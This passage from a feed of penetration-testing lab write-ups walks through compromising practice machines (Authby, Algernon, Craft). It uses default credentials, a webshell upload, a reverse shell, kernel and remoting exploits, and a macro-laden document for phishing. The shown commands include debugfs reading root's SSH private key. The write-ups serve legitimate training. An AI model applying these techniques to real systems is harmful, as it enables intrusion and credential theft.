&lt;p&gt;&lt;img src=&quot;attachments/8dc81f33ae21cb4480cbca469f63124c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d925ae990c365b376de8ff7748a21beb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Troubleshooting&lt;/h3&gt;
&lt;p&gt;Once we try to run it we get this error that we need to solve:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b6499dd0dad4363c54c2e445b86bd7c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To get this properly working we need to use the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Enable Go modules
export GO111MODULE=on

# Initiliaze Go module in project directory
go mod init Fanatastic

# Verify dependencies
go mod tidy

# Get required package
go get golang.org/x/crypto/pbkdf2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And afterwards we can run our PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1399dab165a0133734b5ac405cda7ff8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sysadmin
SuperSecureP@ssw0rd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can now log into SSH.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8a213a35dea467d88ebb7587ee6ef5b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then upgrade the shell using &lt;code&gt;script -c bash /dev/null&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;local.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d3e39fb734bf54673597015479246a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6c326094b02be6a0fc2bfc3118476c25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can&apos;t run &lt;code&gt;sudo -l&lt;/code&gt;, let&apos;s check binaries.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/80fd5e922881caa4f2008f583ac8fcb7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Upon downloading over and running linpeas I found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d4c9ba834d62d606309816b167d0e04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I looked it up on Google:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7c81b4c74eb10254502f83250330b3d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Following the article we check what partition the &lt;code&gt;/&lt;/code&gt; directory is mounted on.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3113a04bd58613c82937f3756069a181.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then using &lt;code&gt;debugfs /dev/sda2&lt;/code&gt; we go ahead and read the contents of &lt;code&gt;root&lt;/code&gt;&apos;s &lt;code&gt;/.ssh/id_rsa&lt;/code&gt; file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;debugfs /dev/sda2
mkdir test
cat /root/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f1e042f00685c38f4c8e323e674b35b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we copy the contents on our Kali, use &lt;code&gt;chmod 600&lt;/code&gt; and log into &lt;code&gt;ssh&lt;/code&gt; as &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a09b34101219e9cf71c545e39ce8d127.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d020269c52274c9fb0367d2180f57a64.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome, let&apos;s get the flag.&lt;/p&gt;
&lt;h2&gt;proof.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dd693cc5fc636f4b0a05ffdb64fd8290.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Finished 11:25 01-02-2025&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;[^Links]:  [[OSCP Prep]]&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Authby</title><link>https://maxk9999.vercel.app/posts/authby</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/authby</guid><pubDate>Fri, 21 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.198.46
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sT authby -sV -sC -vvvv -T5 -p- -T5 --min-rate=5000

PORT     STATE SERVICE       REASON  VERSION
21/tcp   open  ftp           syn-ack zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| total 9680
| ----------   1 root     root      5610496 Oct 18  2011 zFTPServer.exe
| ----------   1 root     root           25 Feb 10  2011 UninstallService.bat
| ----------   1 root     root      4284928 Oct 18  2011 Uninstall.exe
| ----------   1 root     root           17 Aug 13  2011 StopService.bat
| ----------   1 root     root           18 Aug 13  2011 StartService.bat
| ----------   1 root     root         8736 Nov 09  2011 Settings.ini
| dr-xr-xr-x   1 root     root          512 Feb 21 18:23 log
| ----------   1 root     root         2275 Aug 09  2011 LICENSE.htm
| ----------   1 root     root           23 Feb 10  2011 InstallService.bat
| dr-xr-xr-x   1 root     root          512 Nov 08  2011 extensions
| dr-xr-xr-x   1 root     root          512 Nov 08  2011 certificates
|_dr-xr-xr-x   1 root     root          512 Aug 03  2024 accounts
242/tcp  open  http          syn-ack Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
|_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 401 Authorization Required
| http-auth: 
| HTTP/1.1 401 Authorization Required\x0D
|_  Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
3145/tcp open  zftp-admin    syn-ack zFTPServer admin
3389/tcp open  ms-wbt-server syn-ack Microsoft Terminal Service
|_ssl-date: 2025-02-21T10:24:30+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: LIVDA
|   NetBIOS_Domain_Name: LIVDA
|   NetBIOS_Computer_Name: LIVDA
|   DNS_Domain_Name: LIVDA
|   DNS_Computer_Name: LIVDA
|   Product_Version: 6.0.6001
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;21/TCP - FTP&lt;/h2&gt;
&lt;p&gt;There&apos;s a boatload of files here, but I can&apos;t transfer them since they&apos;re owned by root:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7a9fcb419814102542207f8a94a88639.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Luckily for us it seems that all we have to do is &lt;em&gt;omit&lt;/em&gt; the &lt;code&gt;-a&lt;/code&gt; option and try logging in with default creds.&lt;/p&gt;
&lt;p&gt;I first tried the other port to no avail&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd005275f79c02c3e6999290db2c431b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And then I tried 21 again&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9756ad71325cc41320e8d47b7449b2e4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get in using default &lt;code&gt;admin - admin&lt;/code&gt; creds!&lt;/p&gt;
&lt;p&gt;The directory looks a whole lot different now as well.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c9843fc77194e5924c086769b1b9d42e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check them out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/622e0e98b9635fc814b142bc58d4a214.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::info
Little side note:
&lt;img src=&quot;attachments/183790beaa25a5b4cefec4f186fd564e.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/57e57ff2682b21603d6a9c823c084e89.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Hashcat&lt;/h2&gt;
&lt;p&gt;Let&apos;s go ahead and crack it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0cd735747dc1430d7bc47e3fd820bb2d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c82b6f6f557d0dfbb26b5c2d5f8eb546.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eba2f0a5ec70d8e865d3484f77240e0c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;242/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/721bd90fdabf7b4c7f3c3768bc9564b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f0543807b0653033284e3f96af98e3e0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d35259150cc4dee0b1160d96b8f7c1e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then checked whether the creds could be the ones for RDP but it seems they&apos;re invalid:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e58aaf8cf5c33919d011626d8a5abd26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However we can try &lt;strong&gt;Remote File Upload&lt;/strong&gt; via FTP!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d18637be61391f216e79d58ab3dd375.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcd5c7c344faff5356a3664544af5563.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we have access as &lt;em&gt;admin&lt;/em&gt; on FTP we can easily upload any sort of file. Let&apos;s see if this reflects on the website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a83b45a2880c09ce344113c750fdab55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome, this proves that the FTP server is indeed the docroot, let&apos;s go ahead and make a webshell payload that we will &lt;code&gt;put&lt;/code&gt; onto the FTP server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ceb7f3c200c4d8b9f769089dcab3d473.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a973038dc6b0c92ab28782bac98fd021.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f90c35a7f1942856ab861ad32ef1512.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check out what else we can do:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb9ad14dd3d9bcd39aa856f0d253f2df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah, let&apos;s upload one of the potatoes to the docroot, and execute it to get ourselves a &lt;em&gt;SYSTEM&lt;/em&gt; shell right away.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b69163d1cc0536df6f0daa6caa54967a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4f7f0f2062b656cba2aa802ade24f2de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8ced10148eb420eeb055a4fbb698175.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately this did not seem to work.&lt;/p&gt;
&lt;p&gt;I decided to ping my own IP to see whether there was an issue of some sorts&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a8fb3c11d45c63e0479623a52b649d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65e45487d7ed38edb8a11b6db719b237.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This seemed to work however.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;I then proceeded to simply initiate a reverse shell via the &lt;code&gt;nc.exe&lt;/code&gt; binary I&apos;d uploaded.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dccd68c60a0d35a08cd4213502011ec4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa34e2e399f245d2b547a4867d95f76f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
Well this explains why the &lt;code&gt;powershell&lt;/code&gt; reverse shell wouldn&apos;t kick in.
:::&lt;/p&gt;
&lt;h2&gt;local.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4e7dbe95d8b2d9cab643b839c72b9b79.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Abusing privileges&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a9e673689601da4497e098d6b19a57ae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I guess this won&apos;t fire since we have the 64-bit version.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/862456c66599e212952a2c60e329ea02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Well this wouldn&apos;t work either, what now?&lt;/p&gt;
&lt;p&gt;Looks like none of the other potatoes worked either, let&apos;s do some more enumeration.&lt;/p&gt;
&lt;h2&gt;Enum&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/15ab6dfe42a8fd0d36a95d7a42ef112b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears to be a clean install of &lt;strong&gt;Windows Server 2008&lt;/strong&gt;, there &lt;em&gt;MUST&lt;/em&gt; be some exploits for it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f057a884dbdd9f2df9657918ad6efe1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Perfect, let&apos;s check out the PoC&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/069786c39a98759b235a990ceb0718b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Alrighty then, pretty straightforward. Let&apos;s compile it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2c88826071ff4cdc3d0ffc113ba10d58.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We transfer it over and &lt;em&gt;instantly&lt;/em&gt; become &lt;strong&gt;SYSTEM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e8f9812c34603ef51a16f8b8f7efc59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;proof.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2247f5bc3c2d42bac1f33554886b5f3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Algernon</title><link>https://maxk9999.vercel.app/posts/algernon</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/algernon</guid><pubDate>Fri, 21 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.198.65
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sT algernon -sV -sC -vvvv -T5 -p- -T5 --min-rate=5000

PORT      STATE    SERVICE       REASON      VERSION
21/tcp    open     ftp           syn-ack     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20  09:31PM       &amp;lt;DIR&amp;gt;          ImapRetrieval
| 02-21-25  01:39AM       &amp;lt;DIR&amp;gt;          Logs
| 04-29-20  09:31PM       &amp;lt;DIR&amp;gt;          PopRetrieval
|_02-21-25  01:39AM       &amp;lt;DIR&amp;gt;          Spool
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open     http          syn-ack     Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
135/tcp   open     msrpc         syn-ack     Microsoft Windows RPC
139/tcp   open     netbios-ssn   syn-ack     Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds? syn-ack
5040/tcp  open     unknown       syn-ack
9998/tcp  open     http          syn-ack     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 9D7294CAAB5C2DF4CD916F53653714D5
| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D
| Content-Type: text/html; charset=us-ascii\x0D
| Server: Microsoft-HTTPAPI/2.0\x0D
| Date: Fri, 21 Feb 2025 09:43:48 GMT\x0D
| Connection: close\x0D
| Content-Length: 326\x0D
| \x0D
| &amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;&quot;http://www.w3.org/TR/html4/strict.dtd&quot;&amp;gt;\x0D
| &amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad Request&amp;lt;/TITLE&amp;gt;\x0D
| &amp;lt;META HTTP-EQUIV=&quot;Content-Type&quot; Content=&quot;text/html; charset=us-ascii&quot;&amp;gt;&amp;lt;/HEAD&amp;gt;\x0D
| &amp;lt;BODY&amp;gt;&amp;lt;h2&amp;gt;Bad Request - Invalid Verb&amp;lt;/h2&amp;gt;\x0D
| &amp;lt;hr&amp;gt;&amp;lt;p&amp;gt;HTTP Error 400. The request verb is invalid.&amp;lt;/p&amp;gt;\x0D
|_&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;\x0D
|_http-server-header: Microsoft-IIS/10.0
| http-title: Site doesn&apos;t have a title (text/html; charset=utf-8).
|_Requested resource was /interface/root
17001/tcp open     remoting      syn-ack     MS .NET Remoting services
49664/tcp open     msrpc         syn-ack     Microsoft Windows RPC
49665/tcp open     msrpc         syn-ack     Microsoft Windows RPC
49666/tcp open     msrpc         syn-ack     Microsoft Windows RPC
49667/tcp open     msrpc         syn-ack     Microsoft Windows RPC
49668/tcp open     msrpc         syn-ack     Microsoft Windows RPC
49669/tcp open     msrpc         syn-ack     Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 55999/tcp): CLEAN (Couldn&apos;t connect)
|   Check 2 (port 7682/tcp): CLEAN (Couldn&apos;t connect)
|   Check 3 (port 62932/udp): CLEAN (Timeout)
|   Check 4 (port 16225/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-02-21T09:43:50
|_  start_date: N/A
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;21/TCP - FTP&lt;/h2&gt;
&lt;p&gt;Right away I started off with port &lt;code&gt;21&lt;/code&gt; before the nmap scan was even done:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e58b87f429d97af7ff9ee1508d982d8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In here I found the following in the &lt;code&gt;Logs&lt;/code&gt; tab:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0881faf350700ea38ffde527ee2df96c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/949c0fd78285b5a09664baefa512aa96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like we&apos;re dealing with a &lt;strong&gt;ClamAV&lt;/strong&gt; antivirus?&lt;/p&gt;
&lt;p&gt;I then unzipped everything and went on to check out the files:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e66b2dc4442fe4b3ad9768d4013bf79.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;None of it really seems interesting.&lt;/p&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d850b784b672796a6827aaf40c0f9821.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fe1253d40925b6b99343629fa76ebe4a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dddddfaf77f39a948481e2389a6621fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Didn&apos;t seem promising, moving on&lt;/p&gt;
&lt;h2&gt;9998/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0ddb569249c6ffecca5496758a7dac9d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dc2acd87862b44abb5fcaae97927f829.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I observed the request in burpsuite:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2a0c05c8bb1a23dff1b2ac3a160984b4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This didn&apos;t really tell me anything, so I went and checked the source code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/997253e11894cded1d72747af2a2a848.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This seems to be the version number, let&apos;s look up any exploits matching this number:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1925c40669ded60c7eef0ba5802d9ab0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c6642d1d2f7856d2c94585141818a6dc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Just what we need, let&apos;s modify the PoC.&lt;/p&gt;
&lt;h2&gt;PoC modifying&lt;/h2&gt;
&lt;p&gt;There was a super long base64 encrypted payload here so I decrypted it for good measure:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/05fd261860ed49ada5741e03e584cba4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Don&apos;t see anything malicious, let&apos;s get to it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/71cdc43feda178e4666b66dc27741440.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Keep in mind that the RHOST port of &lt;code&gt;17001&lt;/code&gt; is already set correctly, as per our &lt;code&gt;nmap&lt;/code&gt; scan.
:::&lt;/p&gt;
&lt;p&gt;Let&apos;s save and run it.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;attachments/157b867fc5e9e91dab0d731a238ae7be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Surprisingly easy! Worked right away.&lt;/p&gt;
&lt;h2&gt;proof.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61f3286646a4bca49c9221b9c0016db4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Craft</title><link>https://maxk9999.vercel.app/posts/craft</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/craft</guid><pubDate>Fri, 21 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.198.169
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sT craft -sV -sC -vvvv -T5 -p- -T5 --min-rate=5000 -Pn

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: Craft
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Well that is unusual. Let&apos;s run a UDP scan as well for good measure.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sU craft -p 161 -Pn -sC -sV

Host is up.

PORT    STATE         SERVICE VERSION
161/udp open|filtered snmp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.51 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is even more vague.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/13d77ff1bb77b2304a4623beb913538a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7715bd0756fde4c9bc8e16da315ed297.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/59edfdd8ea1062c77484bca2b5ab413c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I submitted a sample &lt;code&gt;test.txt&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e5dd79d62d7231f6ca5545877d1e0a1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54bf524e316b319dc1ac8aae4346fd43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Right, let&apos;s run &lt;code&gt;feroxbuster&lt;/code&gt; first to find more juicy info first.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9610ab5c2f9560205180574b7f7c0fe9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Seems like the intention here is for us to craft up an &lt;code&gt;.odt&lt;/code&gt; file with a macro in it. In that case it would be a &lt;strong&gt;phishing&lt;/strong&gt; scenario, where a simulated victim will click on the file, causing the macro to fire and give us a reverse shell.&lt;/p&gt;
&lt;h2&gt;Macro crafting&lt;/h2&gt;
&lt;p&gt;I installed &lt;code&gt;LibreOffice&lt;/code&gt; using the following commands&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt -y update
sudo apt -y install libreoffice libreoffice-gtk4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I now had access to the whole suite of office tools:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e91c6641d4e53ff3548c083198fe763.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s fire up &lt;code&gt;Writer&lt;/code&gt; which is the same as &lt;code&gt;Microsoft Word&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can then find the &lt;strong&gt;Macros&lt;/strong&gt; tab here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9707499b6573eb86b477a94bc42a8845.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We want to create a &lt;strong&gt;Basic&lt;/strong&gt; Macro. Click on &lt;strong&gt;New&lt;/strong&gt; and call it whatever.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/963735e25a2c0e273878043a20a0df43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We will now want to insert our reverse shell payload, since it&apos;s a &lt;strong&gt;Windows&lt;/strong&gt; target we&apos;ll have to use powershell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b692bc2dc7edb62ff2bf5237aaa1d883.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a765b54ab533639dc563507a44ede567.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Save the Macro by clicking &lt;code&gt;Ctrl + s&lt;/code&gt;.&lt;/p&gt;
